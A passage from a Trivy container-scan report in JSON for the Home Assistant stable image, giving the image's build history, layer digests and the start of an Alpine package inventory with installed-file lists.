{ "SchemaVersion": 2, "Trivy": { "Version": "0.70.0" }, "ReportID": "01a1b919-9b71-765b-aaeb-3f1f82d3130d", "CreatedAt": "2026-11-08T04:00:25.585419331+01:00", "ArtifactID": "sha256:f78f91166f2a62d5da7162c4c5a7c5ad7b0f98f371eee840acdccb687132375c", "ArtifactName": "ghcr.io/home-assistant/home-assistant:stable", "ArtifactType": "container_image", "Metadata": { "Size": 2486887424, "OS": { "Family": "alpine", "Name": "3.24.1" }, "ImageID": "sha256:6d4d287b3676e5e4de6164da629a3007c6c27b6a4dc353cd446ebf3e8b7af195", "DiffIDs": [ "sha256:34884abbe92863fce933ed7c39c0e045631af0ed86d5cc0dfbdf9fdca426ce3c", "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841", "sha256:3a1c849b0505129399362d23f774eb8460fdfce3e2539f2992f49c9e253aace1", "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb", "sha256:2db683111a32c73fe3776d9705685182c70caa7c4d83770e3b000023633e63bd", "sha256:5f70bf18a086007016e948b04aed3b82103a36bea41755b6cddfaf10ace3c6ef", "sha256:596018a4b71c31b682e0183552ac004ce46c51cb2e73db88d84741896757a34d", "sha256:7bd3ac5dfabde7c3981d5f73e765d5e96cccfb741629a0ee17446ee6762e60d5", "sha256:70bbb0a0b79400cb54d4e31b1b5bdd1b32495d1b8a6a6034f16a2709b37dfabf", "sha256:0f288e89a8d63e96b3f14863f93c3adba59c1404536af1be862cfdce5f4049f9", "sha256:3f5444d2b6b7409245a60d6ab01f906d6497373f6260188eba6a799fedc6abaa", "sha256:97e3eb55e8b16317074e13f380dce675389c79587cb5ba8795a73ba9e99c7fcd", "sha256:5f70bf18a086007016e948b04aed3b82103a36bea41755b6cddfaf10ace3c6ef", "sha256:265b1634e1049ce5b03d173205b0a593e6c7928bf3ca5e89509b2b59c11619a9", "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff", "sha256:9cf3e4ca5f6a0f0735a0e50cabb0cca4fa575aada9ddb363d45e35891ba0de7f", "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046", "sha256:25da2abc9930001f9811eb9ddfc2c93dcd2a08e47b15da7079fb4e9c888b3875", "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd", "sha256:694ce550984b255868ca45e07312d33701c39a2ea6a7c9a1b34c657c27f6f7d9", "sha256:fe6229a4a6922f42eef738c35b874598683da07f65a469dfe5e74d17b1e6d783", "sha256:7b1c599d21ed12c1d6bedf814461c756be948e939969011e7dfea3264628ebef" ], "RepoTags": [ "ghcr.io/home-assistant/home-assistant:stable" ], "RepoDigests": [ "ghcr.io/home-assistant/home-assistant@sha256:1476924357b46e80735c13e94232ba5c853cac052e9df4bb28d50fa56348097b" ], "Reference": "ghcr.io/home-assistant/home-assistant:stable", "ImageConfig": { "architecture": "amd64", "created": "2026-07-10T21:21:49.010230799Z", "history": [ { "created": "2026-06-16T00:01:29Z", "created_by": "ADD alpine-minirootfs-3.24.1-x86_64.tar.gz / # buildkit", "comment": "buildkit.dockerfile.v0" }, { "created": "2026-06-16T00:01:29Z", "created_by": "CMD [\"/bin/sh\"]", "comment": "buildkit.dockerfile.v0", "empty_layer": true }, { "created": "2026-06-16T09:22:11Z", "created_by": "COPY / / # buildkit", "comment": "buildkit.dockerfile.v0" }, { "created": "2026-06-16T09:22:11Z", "created_by": "ENTRYPOINT [\"/init\"]", "comment": "buildkit.dockerfile.v0", "empty_layer": true }, { "created": "2026-06-16T09:22:11Z", "created_by": "SHELL [/bin/ash -o pipefail -c]", "comment": "buildkit.dockerfile.v0", "empty_layer": true }, { "created": "2026-06-16T09:22:11Z", "created_by": "ARG EXTRA_INDEX_URL=https://wheels.home-assistant.io/musllinux-index/", "comment": "buildkit.dockerfile.v0", "empty_layer": true }, { "created": "2026-06-16T09:22:11Z", "created_by": "ENV LANG=C.UTF-8 S6_BEHAVIOUR_IF_STAGE2_FAILS=2 S6_CMD_WAIT_FOR_SERVICES_MAXTIME=0 S6_CMD_WAIT_FOR_SERVICES=1 S6_SERVICES_READYTIME=50 PIP_EXTRA_INDEX_URL=https://wheels.home-assistant.io/musllinux-index/ UV_EXTRA_INDEX_URL=https://wheels.home-assistant.io/musllinux-index/", "comment": "buildkit.dockerfile.v0", "empty_layer": true }, { "created": "2026-06-16T09:22:11Z", "created_by": "LABEL io.hass.type=base io.hass.base.name=alpine", "comment": "buildkit.dockerfile.v0", "empty_layer": true }, { "created": "2026-06-16T10:54:37Z", "created_by": "COPY / / # buildkit", "comment": "buildkit.dockerfile.v0" }, { "created": "2026-06-16T10:54:37Z", "created_by": "ENV PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", "comment": "buildkit.dockerfile.v0", "empty_layer": true }, { "created": "2026-06-16T10:54:37Z", "created_by": "LABEL io.hass.type=base io.hass.base.name=python", "comment": "buildkit.dockerfile.v0", "empty_layer": true }, { "created": "2026-06-29T16:54:44Z", "created_by": "ARG BUILD_ARCH=amd64", "comment": "buildkit.dockerfile.v0", "empty_layer": true }, { "created": "2026-06-29T16:54:44Z", "created_by": "ARG BUILD_FROM=ghcr.io/home-assistant/base-python:3.14-alpine3.24-2026.06.1", "comment": "buildkit.dockerfile.v0", "empty_layer": true }, { "created": "2026-06-29T16:54:44Z", "created_by": "RUN |2 BUILD_ARCH=amd64 BUILD_FROM=ghcr.io/home-assistant/base-python:3.14-alpine3.24-2026.06.1 /bin/ash -o pipefail -c apk add bluez bluez-deprecated bluez-libs confuse curl eudev-libs ffmpeg git grep hwdata-usb imlib2 iperf3 libftdi1 libgpiod libpulse libturbojpeg libzbar mariadb-connector-c net-tools nmap openssh-client p8-platform pianobar popt pulseaudio-alsa socat # buildkit", "comment": "buildkit.dockerfile.v0" }, { "created": "2026-06-29T16:54:47Z", "created_by": "RUN |2 BUILD_ARCH=amd64 BUILD_FROM=ghcr.io/home-assistant/base-python:3.14-alpine3.24-2026.06.1 /bin/ash -o pipefail -c pip3 install --only-binary=:all: -r /tmp/requirements.txt # buildkit", "comment": "buildkit.dockerfile.v0" }, { "created": "2026-06-29T16:54:47Z", "created_by": "WORKDIR /usr/src/", "comment": "buildkit.dockerfile.v0" }, { "created": "2026-06-29T16:54:50Z", "created_by": "COPY /opt/ssocr/ /usr/local/ # buildkit", "comment": "buildkit.dockerfile.v0" }, { "created": "2026-06-29T16:55:12Z", "created_by": "COPY /opt/libcec/ /usr/local/ # buildkit", "comment": "buildkit.dockerfile.v0" }, { "created": "2026-06-29T16:55:12Z", "created_by": "RUN |2 BUILD_ARCH=amd64 BUILD_FROM=ghcr.io/home-assistant/base-python:3.14-alpine3.24-2026.06.1 /bin/ash -o pipefail -c python_version=$(python -c \"import sys; print(f'{sys.version_info.major}.{sys.version_info.minor}')\") \u0026\u0026 echo \"cec\" \u003e \"/usr/local/lib/python${python_version}/site-packages/cec.pth\" # buildkit", "comment": "buildkit.dockerfile.v0" }, { "created": "2026-06-29T16:55:27Z", "created_by": "COPY /opt/picotts/usr/local/ /usr/local/ # buildkit", "comment": "buildkit.dockerfile.v0" }, { "created": "2026-06-29T16:55:15Z", "created_by": "COPY /opt/telldus/ /usr/local/ # buildkit", "comment": "buildkit.dockerfile.v0" }, { "created": "2026-06-29T16:55:27Z", "created_by": "COPY rootfs / # buildkit", "comment": "buildkit.dockerfile.v0" }, { "created": "2026-06-29T16:55:27Z", "created_by": "LABEL io.hass.type=homeassistant-base org.opencontainers.image.title=Home Assistant Core baseimage org.opencontainers.image.description=Baseimage for Home Assistant Core container/supervisor installation org.opencontainers.image.authors=The Home Assistant Authors org.opencontainers.image.url=https://www.home-assistant.io/ org.opencontainers.image.documentation=https://www.home-assistant.io/docs/ org.opencontainers.image.licenses=Apache License 2.0", "comment": "buildkit.dockerfile.v0", "empty_layer": true }, { "created": "2026-07-10T21:20:28Z", "created_by": "LABEL io.hass.type=core org.opencontainers.image.authors=The Home Assistant Authors org.opencontainers.image.description=Open-source home automation platform running on Python 3 org.opencontainers.image.documentation=https://www.home-assistant.io/docs/ org.opencontainers.image.licenses=Apache-2.0 org.opencontainers.image.title=Home Assistant org.opencontainers.image.url=https://www.home-assistant.io/", "comment": "buildkit.dockerfile.v0", "empty_layer": true }, { "created": "2026-07-10T21:20:28Z", "created_by": "ENV S6_SERVICES_GRACETIME=240000 UV_SYSTEM_PYTHON=true UV_NO_CACHE=true", "comment": "buildkit.dockerfile.v0", "empty_layer": true }, { "created": "2026-07-10T21:20:28Z", "created_by": "WORKDIR /usr/src", "comment": "buildkit.dockerfile.v0" }, { "created": "2026-07-10T21:20:30Z", "created_by": "COPY rootfs / # buildkit", "comment": "buildkit.dockerfile.v0" }, { "created": "2026-07-10T21:20:30Z", "created_by": "COPY /usr/local/bin/go2rtc /bin/go2rtc # buildkit", "comment": "buildkit.dockerfile.v0" }, { "created": "2026-07-10T21:20:31Z", "created_by": "COPY --parents requirements.txt homeassistant/package_constraints.txt homeassistant/ # buildkit", "comment": "buildkit.dockerfile.v0" }, { "created": "2026-07-10T21:20:39Z", "created_by": "RUN /bin/ash -o pipefail -c go2rtc --version \u0026\u0026 pip3 install --no-cache-dir \"uv==$(awk -F'==' '/^uv==/{print $2}' homeassistant/requirements.txt)\" \u0026\u0026 uv pip install --no-build -r homeassistant/requirements.txt # buildkit", "comment": "buildkit.dockerfile.v0" }, { "created": "2026-07-10T21:20:40Z", "created_by": "COPY requirements_all.txt home_assistant_frontend-* home_assistant_intents-* homeassistant/ # buildkit", "comment": "buildkit.dockerfile.v0" }, { "created": "2026-07-10T21:21:16Z", "created_by": "RUN /bin/ash -o pipefail -c if ls homeassistant/home_assistant_*.whl 1\u003e /dev/null 2\u003e\u00261; then uv pip install homeassistant/home_assistant_*.whl; fi \u0026\u0026 uv pip install --no-build -r homeassistant/requirements_all.txt # buildkit", "comment": "buildkit.dockerfile.v0" }, { "created": "2026-07-10T21:21:23Z", "created_by": "COPY --parents LICENSE* README* homeassistant/ pyproject.toml homeassistant/ # buildkit", "comment": "buildkit.dockerfile.v0" }, { "created": "2026-07-10T21:21:48Z", "created_by": "RUN /bin/ash -o pipefail -c uv pip install -e ./homeassistant \u0026\u0026 python3 -m compileall homeassistant/homeassistant # buildkit", "comment": "buildkit.dockerfile.v0" }, { "created": "2026-07-10T21:21:49Z", "created_by": "WORKDIR /config", "comment": "buildkit.dockerfile.v0" } ], "os": "linux", "rootfs": { "type": "layers", "diff_ids": [ "sha256:34884abbe92863fce933ed7c39c0e045631af0ed86d5cc0dfbdf9fdca426ce3c", "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841", "sha256:3a1c849b0505129399362d23f774eb8460fdfce3e2539f2992f49c9e253aace1", "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb", "sha256:2db683111a32c73fe3776d9705685182c70caa7c4d83770e3b000023633e63bd", "sha256:5f70bf18a086007016e948b04aed3b82103a36bea41755b6cddfaf10ace3c6ef", "sha256:596018a4b71c31b682e0183552ac004ce46c51cb2e73db88d84741896757a34d", "sha256:7bd3ac5dfabde7c3981d5f73e765d5e96cccfb741629a0ee17446ee6762e60d5", "sha256:70bbb0a0b79400cb54d4e31b1b5bdd1b32495d1b8a6a6034f16a2709b37dfabf", "sha256:0f288e89a8d63e96b3f14863f93c3adba59c1404536af1be862cfdce5f4049f9", "sha256:3f5444d2b6b7409245a60d6ab01f906d6497373f6260188eba6a799fedc6abaa", "sha256:97e3eb55e8b16317074e13f380dce675389c79587cb5ba8795a73ba9e99c7fcd", "sha256:5f70bf18a086007016e948b04aed3b82103a36bea41755b6cddfaf10ace3c6ef", "sha256:265b1634e1049ce5b03d173205b0a593e6c7928bf3ca5e89509b2b59c11619a9", "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff", "sha256:9cf3e4ca5f6a0f0735a0e50cabb0cca4fa575aada9ddb363d45e35891ba0de7f", "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046", "sha256:25da2abc9930001f9811eb9ddfc2c93dcd2a08e47b15da7079fb4e9c888b3875", "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd", "sha256:694ce550984b255868ca45e07312d33701c39a2ea6a7c9a1b34c657c27f6f7d9", "sha256:fe6229a4a6922f42eef738c35b874598683da07f65a469dfe5e74d17b1e6d783", "sha256:7b1c599d21ed12c1d6bedf814461c756be948e939969011e7dfea3264628ebef" ] }, "config": { "Entrypoint": [ "/init" ], "Env": [ "PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", "LANG=C.UTF-8", "S6_BEHAVIOUR_IF_STAGE2_FAILS=2", "S6_CMD_WAIT_FOR_SERVICES_MAXTIME=0", "S6_CMD_WAIT_FOR_SERVICES=1", "S6_SERVICES_READYTIME=50", "PIP_EXTRA_INDEX_URL=https://wheels.home-assistant.io/musllinux-index/", "UV_EXTRA_INDEX_URL=https://wheels.home-assistant.io/musllinux-index/", "S6_SERVICES_GRACETIME=240000", "UV_SYSTEM_PYTHON=true", "UV_NO_CACHE=true" ], "Labels": { "io.hass.arch": "amd64", "io.hass.base.arch": "amd64", "io.hass.base.image": "ghcr.io/home-assistant/base:3.24", "io.hass.base.name": "python", "io.hass.base.version": "2026.06.1", "io.hass.type": "core", "io.hass.version": "2026.7.2", "org.opencontainers.image.authors": "The Home Assistant Authors", "org.opencontainers.image.created": "2026-07-10 21:20:17+00:00", "org.opencontainers.image.description": "Open-source home automation platform running on Python 3", "org.opencontainers.image.documentation": "https://www.home-assistant.io/docs/", "org.opencontainers.image.licenses": "Apache-2.0", "org.opencontainers.image.source": "https://github.com/home-assistant/core", "org.opencontainers.image.title": "Home Assistant", "org.opencontainers.image.url": "https://www.home-assistant.io/", "org.opencontainers.image.version": "2026.7.2" }, "WorkingDir": "/config", "Shell": [ "/bin/ash", "-o", "pipefail", "-c" ] } }, "Layers": [ { "Size": 8697856, "DiffID": "sha256:34884abbe92863fce933ed7c39c0e045631af0ed86d5cc0dfbdf9fdca426ce3c" }, { "Size": 39460864, "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, { "Size": 85366784, "DiffID": "sha256:3a1c849b0505129399362d23f774eb8460fdfce3e2539f2992f49c9e253aace1" }, { "Size": 169519616, "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, { "Size": 21880320, "DiffID": "sha256:2db683111a32c73fe3776d9705685182c70caa7c4d83770e3b000023633e63bd" }, { "Size": 1024, "DiffID": "sha256:5f70bf18a086007016e948b04aed3b82103a36bea41755b6cddfaf10ace3c6ef" }, { "Size": 172032, "DiffID": "sha256:596018a4b71c31b682e0183552ac004ce46c51cb2e73db88d84741896757a34d" }, { "Size": 5442560, "DiffID": "sha256:7bd3ac5dfabde7c3981d5f73e765d5e96cccfb741629a0ee17446ee6762e60d5" }, { "Size": 4608, "DiffID": "sha256:70bbb0a0b79400cb54d4e31b1b5bdd1b32495d1b8a6a6034f16a2709b37dfabf" }, { "Size": 7988224, "DiffID": "sha256:0f288e89a8d63e96b3f14863f93c3adba59c1404536af1be862cfdce5f4049f9" }, { "Size": 985600, "DiffID": "sha256:3f5444d2b6b7409245a60d6ab01f906d6497373f6260188eba6a799fedc6abaa" }, { "Size": 46592, "DiffID": "sha256:97e3eb55e8b16317074e13f380dce675389c79587cb5ba8795a73ba9e99c7fcd" }, { "Size": 1024, "DiffID": "sha256:5f70bf18a086007016e948b04aed3b82103a36bea41755b6cddfaf10ace3c6ef" }, { "Size": 8704, "DiffID": "sha256:265b1634e1049ce5b03d173205b0a593e6c7928bf3ca5e89509b2b59c11619a9" }, { "Size": 19241472, "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, { "Size": 13824, "DiffID": "sha256:9cf3e4ca5f6a0f0735a0e50cabb0cca4fa575aada9ddb363d45e35891ba0de7f" }, { "Size": 288865280, "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, { "Size": 71168, "DiffID": "sha256:25da2abc9930001f9811eb9ddfc2c93dcd2a08e47b15da7079fb4e9c888b3875" }, { "Size": 1503438336, "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, { "Size": 249432576, "DiffID": "sha256:694ce550984b255868ca45e07312d33701c39a2ea6a7c9a1b34c657c27f6f7d9" }, { "Size": 86247424, "DiffID": "sha256:fe6229a4a6922f42eef738c35b874598683da07f65a469dfe5e74d17b1e6d783" }, { "Size": 1536, "DiffID": "sha256:7b1c599d21ed12c1d6bedf814461c756be948e939969011e7dfea3264628ebef" } ] }, "Results": [ { "Target": "ghcr.io/home-assistant/home-assistant:stable (alpine 3.24.1)", "Class": "os-pkgs", "Type": "alpine", "Packages": [ { "ID": ".python-rundeps@20260616.105429", "Name": ".python-rundeps", "Identifier": { "PURL": "pkg:apk/alpine/.python-rundeps@20260616.105429?arch=noarch\u0026distro=3.24.1", "UID": "14e0a1b1fd9d19ef" }, "Version": "20260616.105429", "Arch": "noarch", "DependsOn": [ "gdbm@1.26-r0", "libbz2@1.0.8-r6", "libcrypto3@3.5.7-r0", "libexpat@2.8.1-r0", "libffi@3.5.2-r1", "libgcc@15.2.0-r5", "libncursesw@6.6_p20260516-r0", "libpanelw@6.6_p20260516-r0", "libssl3@3.5.7-r0", "libstdc++@15.2.0-r5", "libuuid@2.42-r0", "mpdecimal@4.0.1-r0", "musl@1.2.6-r2", "readline@8.3.3-r1", "sqlite-libs@3.53.2-r0", "xz-libs@5.8.3-r0", "zlib@1.3.2-r0" ], "Layer": { "DiffID": "sha256:3a1c849b0505129399362d23f774eb8460fdfce3e2539f2992f49c9e253aace1" }, "Digest": "sha1:dde1a43b2a13b40ee33976871d85290040b2ea65", "AnalyzedBy": "apk" }, { "ID": "alpine-baselayout@3.7.2-r1", "Name": "alpine-baselayout", "Identifier": { "PURL": "pkg:apk/alpine/alpine-baselayout@3.7.2-r1?arch=x86_64\u0026distro=3.24.1", "UID": "1b9c543300f8073e" }, "Version": "3.7.2-r1", "Arch": "x86_64", "SrcName": "alpine-baselayout", "SrcVersion": "3.7.2-r1", "Licenses": [ "GPL-2.0-only" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "alpine-baselayout-data@3.7.2-r1", "busybox-binsh@1.37.0-r31" ], "Layer": { "DiffID": "sha256:34884abbe92863fce933ed7c39c0e045631af0ed86d5cc0dfbdf9fdca426ce3c" }, "Digest": "sha1:f0fcfdc2f4da058af6473bc45c4eab62916225b2", "InstalledFiles": [ "etc/motd", "etc/crontabs/root", "etc/modprobe.d/aliases.conf", "etc/modprobe.d/blacklist.conf", "etc/modprobe.d/i386.conf", "etc/profile.d/20locale.sh", "etc/profile.d/README", "etc/profile.d/color_prompt.sh.disabled", "usr/lib/sysctl.d/00-alpine.conf", "var/lock", "var/run", "var/spool/mail", "var/spool/cron/crontabs" ], "AnalyzedBy": "apk" }, { "ID": "alpine-baselayout-data@3.7.2-r1", "Name": "alpine-baselayout-data", "Identifier": { "PURL": "pkg:apk/alpine/alpine-baselayout-data@3.7.2-r1?arch=x86_64\u0026distro=3.24.1", "UID": "fcc3cd90122d8aa7" }, "Version": "3.7.2-r1", "Arch": "x86_64", "SrcName": "alpine-baselayout", "SrcVersion": "3.7.2-r1", "Licenses": [ "GPL-2.0-only" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "Layer": { "DiffID": "sha256:34884abbe92863fce933ed7c39c0e045631af0ed86d5cc0dfbdf9fdca426ce3c" }, "Digest": "sha1:c6f9bded17d844b6f1b0bb5766d2c35c0d5c8508", "InstalledFiles": [ "etc/fstab", "etc/group", "etc/hostname", "etc/hosts", "etc/inittab", "etc/modules", "etc/mtab", "etc/nsswitch.conf", "etc/passwd", "etc/profile", "etc/protocols", "etc/services", "etc/shadow", "etc/shells", "etc/sysctl.conf" ], "AnalyzedBy": "apk" }, { "ID": "alpine-keys@2.6-r0", "Name": "alpine-keys", "Identifier": { "PURL": "pkg:apk/alpine/alpine-keys@2.6-r0?arch=x86_64\u0026distro=3.24.1", "UID": "cb1f6c8fa74713e0" }, "Version": "2.6-r0", "Arch": "x86_64", "SrcName": "alpine-keys", "SrcVersion": "2.6-r0", "Licenses": [ "MIT" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "Layer": { "DiffID": "sha256:34884abbe92863fce933ed7c39c0e045631af0ed86d5cc0dfbdf9fdca426ce3c" }, "Digest": "sha1:d8d6b80e53c059a77e4915da78ba964f3ffea240", "InstalledFiles": [ "etc/apk/keys/alpine-devel@lists.alpinelinux.org-4a6a0840.rsa.pub", "etc/apk/keys/alpine-devel@lists.alpinelinux.org-5261cecb.rsa.pub", "etc/apk/keys/alpine-devel@lists.alpinelinux.org-6165ee59.rsa.pub", "usr/share/apk/keys/alpine-devel@lists.alpinelinux.org-4a6a0840.rsa.pub", "usr/share/apk/keys/alpine-devel@lists.alpinelinux.org-5243ef4b.rsa.pub", "usr/share/apk/keys/alpine-devel@lists.alpinelinux.org-524d27bb.rsa.pub", "usr/share/apk/keys/alpine-devel@lists.alpinelinux.org-5261cecb.rsa.pub", "usr/share/apk/keys/alpine-devel@lists.alpinelinux.org-58199dcc.rsa.pub", "usr/share/apk/keys/alpine-devel@lists.alpinelinux.org-58cbb476.rsa.pub", "usr/share/apk/keys/alpine-devel@lists.alpinelinux.org-58e4f17d.rsa.pub", "usr/share/apk/keys/alpine-devel@lists.alpinelinux.org-5e69ca50.rsa.pub", "usr/share/apk/keys/alpine-devel@lists.alpinelinux.org-60ac2099.rsa.pub", "usr/share/apk/keys/alpine-devel@lists.alpinelinux.org-6165ee59.rsa.pub", "usr/share/apk/keys/alpine-devel@lists.alpinelinux.org-61666e3f.rsa.pub", "usr/share/apk/keys/alpine-devel@lists.alpinelinux.org-616a9724.rsa.pub", "usr/share/apk/keys/alpine-devel@lists.alpinelinux.org-616abc23.rsa.pub", "usr/share/apk/keys/alpine-devel@lists.alpinelinux.org-616ac3bc.rsa.pub", "usr/share/apk/keys/alpine-devel@lists.alpinelinux.org-616adfeb.rsa.pub", "usr/share/apk/keys/alpine-devel@lists.alpinelinux.org-616ae350.rsa.pub", "usr/share/apk/keys/alpine-devel@lists.alpinelinux.org-616db30d.rsa.pub", "usr/share/apk/keys/alpine-devel@lists.alpinelinux.org-66ba20fe.rsa.pub", "usr/share/apk/keys/aarch64/alpine-devel@lists.alpinelinux.org-58199dcc.rsa.pub", "usr/share/apk/keys/aarch64/alpine-devel@lists.alpinelinux.org-616ae350.rsa.pub", "usr/share/apk/keys/armhf/alpine-devel@lists.alpinelinux.org-524d27bb.rsa.pub", "usr/share/apk/keys/armhf/alpine-devel@lists.alpinelinux.org-616a9724.rsa.pub", "usr/share/apk/keys/armv7/alpine-devel@lists.alpinelinux.org-524d27bb.rsa.pub", "usr/share/apk/keys/armv7/alpine-devel@lists.alpinelinux.org-616adfeb.rsa.pub", "usr/share/apk/keys/loongarch64/alpine-devel@lists.alpinelinux.org-66ba20fe.rsa.pub", "usr/share/apk/keys/mips64/alpine-devel@lists.alpinelinux.org-5e69ca50.rsa.pub", "usr/share/apk/keys/ppc64le/alpine-devel@lists.alpinelinux.org-58cbb476.rsa.pub", "usr/share/apk/keys/ppc64le/alpine-devel@lists.alpinelinux.org-616abc23.rsa.pub", "usr/share/apk/keys/riscv64/alpine-devel@lists.alpinelinux.org-60ac2099.rsa.pub", "usr/share/apk/keys/riscv64/alpine-devel@lists.alpinelinux.org-616db30d.rsa.pub", "usr/share/apk/keys/s390x/alpine-devel@lists.alpinelinux.org-58e4f17d.rsa.pub", "usr/share/apk/keys/s390x/alpine-devel@lists.alpinelinux.org-616ac3bc.rsa.pub", "usr/share/apk/keys/x86/alpine-devel@lists.alpinelinux.org-4a6a0840.rsa.pub", "usr/share/apk/keys/x86/alpine-devel@lists.alpinelinux.org-5243ef4b.rsa.pub", "usr/share/apk/keys/x86/alpine-devel@lists.alpinelinux.org-61666e3f.rsa.pub", "usr/share/apk/keys/x86_64/alpine-devel@lists.alpinelinux.org-4a6a0840.rsa.pub", "usr/share/apk/keys/x86_64/alpine-devel@lists.alpinelinux.org-5261cecb.rsa.pub", "usr/share/apk/keys/x86_64/alpine-devel@lists.alpinelinux.org-6165ee59.rsa.pub" ], "AnalyzedBy": "apk" }, { "ID": "alpine-release@3.24.1-r0", "Name": "alpine-release", "Identifier": { "PURL": "pkg:apk/alpine/alpine-release@3.24.1-r0?arch=x86_64\u0026distro=3.24.1", "UID": "6cfad6f36e1f31aa" }, "Version": "3.24.1-r0", "Arch": "x86_64", "SrcName": "alpine-base", "SrcVersion": "3.24.1-r0", "Licenses": [ "MIT" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "alpine-keys@2.6-r0" ], "Layer": { "DiffID": "sha256:34884abbe92863fce933ed7c39c0e045631af0ed86d5cc0dfbdf9fdca426ce3c" }, "Digest": "sha1:bc6912a25cdc7733e0035ed509eceaa4026946e3", "InstalledFiles": [ "etc/alpine-release", "etc/issue", "etc/os-release", "etc/secfixes.d/alpine", "usr/lib/os-release" ], "AnalyzedBy": "apk" }, { "ID": "alsa-lib@1.2.15.3-r0", "Name": "alsa-lib", "Identifier": { "PURL": "pkg:apk/alpine/alsa-lib@1.2.15.3-r0?arch=x86_64\u0026distro=3.24.1", "UID": "2c33433ccc82178f" }, "Version": "1.2.15.3-r0", "Arch": "x86_64", "SrcName": "alsa-lib", "SrcVersion": "1.2.15.3-r0", "Licenses": [ "LGPL-2.1-or-later" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:af03c920155254bc6704f05ce35aef50d5198457", "InstalledFiles": [ "usr/bin/aserver", "usr/lib/libasound.so.2", "usr/lib/libasound.so.2.0.0", "usr/lib/libatopology.so.2", "usr/lib/libatopology.so.2.0.0", "usr/share/alsa/alsa.conf", "usr/share/alsa/cards/AACI.conf", "usr/share/alsa/cards/ATIIXP-MODEM.conf", "usr/share/alsa/cards/ATIIXP-SPDMA.conf", "usr/share/alsa/cards/ATIIXP.conf", "usr/share/alsa/cards/AU8810.conf", "usr/share/alsa/cards/AU8820.conf", "usr/share/alsa/cards/AU8830.conf", "usr/share/alsa/cards/Audigy.conf", "usr/share/alsa/cards/Audigy2.conf", "usr/share/alsa/cards/Aureon51.conf", "usr/share/alsa/cards/Aureon71.conf", "usr/share/alsa/cards/CA0106.conf", "usr/share/alsa/cards/CMI8338-SWIEC.conf", "usr/share/alsa/cards/CMI8338.conf", "usr/share/alsa/cards/CMI8738-MC6.conf", "usr/share/alsa/cards/CMI8738-MC8.conf", "usr/share/alsa/cards/CMI8788.conf", "usr/share/alsa/cards/CS46xx.conf", "usr/share/alsa/cards/EMU10K1.conf", "usr/share/alsa/cards/EMU10K1X.conf", "usr/share/alsa/cards/ENS1370.conf", "usr/share/alsa/cards/ENS1371.conf", "usr/share/alsa/cards/ES1968.conf", "usr/share/alsa/cards/Echo_Echo3G.conf", "usr/share/alsa/cards/FM801.conf", "usr/share/alsa/cards/FWSpeakers.conf", "usr/share/alsa/cards/FireWave.conf", "usr/share/alsa/cards/GUS.conf", "usr/share/alsa/cards/HDA-Intel.conf", "usr/share/alsa/cards/HdmiLpeAudio.conf", "usr/share/alsa/cards/ICE1712.conf", "usr/share/alsa/cards/ICE1724.conf", "usr/share/alsa/cards/ICH-MODEM.conf", "usr/share/alsa/cards/ICH.conf", "usr/share/alsa/cards/ICH4.conf", "usr/share/alsa/cards/Loopback.conf", "usr/share/alsa/cards/Maestro3.conf", "usr/share/alsa/cards/NFORCE.conf", "usr/share/alsa/cards/PC-Speaker.conf", "usr/share/alsa/cards/PMac.conf", "usr/share/alsa/cards/PMacToonie.conf", "usr/share/alsa/cards/PS3.conf", "usr/share/alsa/cards/RME9636.conf", "usr/share/alsa/cards/RME9652.conf", "usr/share/alsa/cards/SB-XFi.conf", "usr/share/alsa/cards/SI7018.conf", "usr/share/alsa/cards/TRID4DWAVENX.conf", "usr/share/alsa/cards/USB-Audio.conf", "usr/share/alsa/cards/VIA686A.conf", "usr/share/alsa/cards/VIA8233.conf", "usr/share/alsa/cards/VIA8233A.conf", "usr/share/alsa/cards/VIA8237.conf", "usr/share/alsa/cards/VX222.conf", "usr/share/alsa/cards/VXPocket.conf", "usr/share/alsa/cards/VXPocket440.conf", "usr/share/alsa/cards/YMF744.conf", "usr/share/alsa/cards/aliases.conf", "usr/share/alsa/cards/pistachio-card.conf", "usr/share/alsa/cards/vc4-hdmi.conf", "usr/share/alsa/ctl/default.conf", "usr/share/alsa/pcm/center_lfe.conf", "usr/share/alsa/pcm/default.conf", "usr/share/alsa/pcm/dmix.conf", "usr/share/alsa/pcm/dpl.conf", "usr/share/alsa/pcm/dsnoop.conf", "usr/share/alsa/pcm/front.conf", "usr/share/alsa/pcm/hdmi.conf", "usr/share/alsa/pcm/iec958.conf", "usr/share/alsa/pcm/modem.conf", "usr/share/alsa/pcm/rear.conf", "usr/share/alsa/pcm/side.conf", 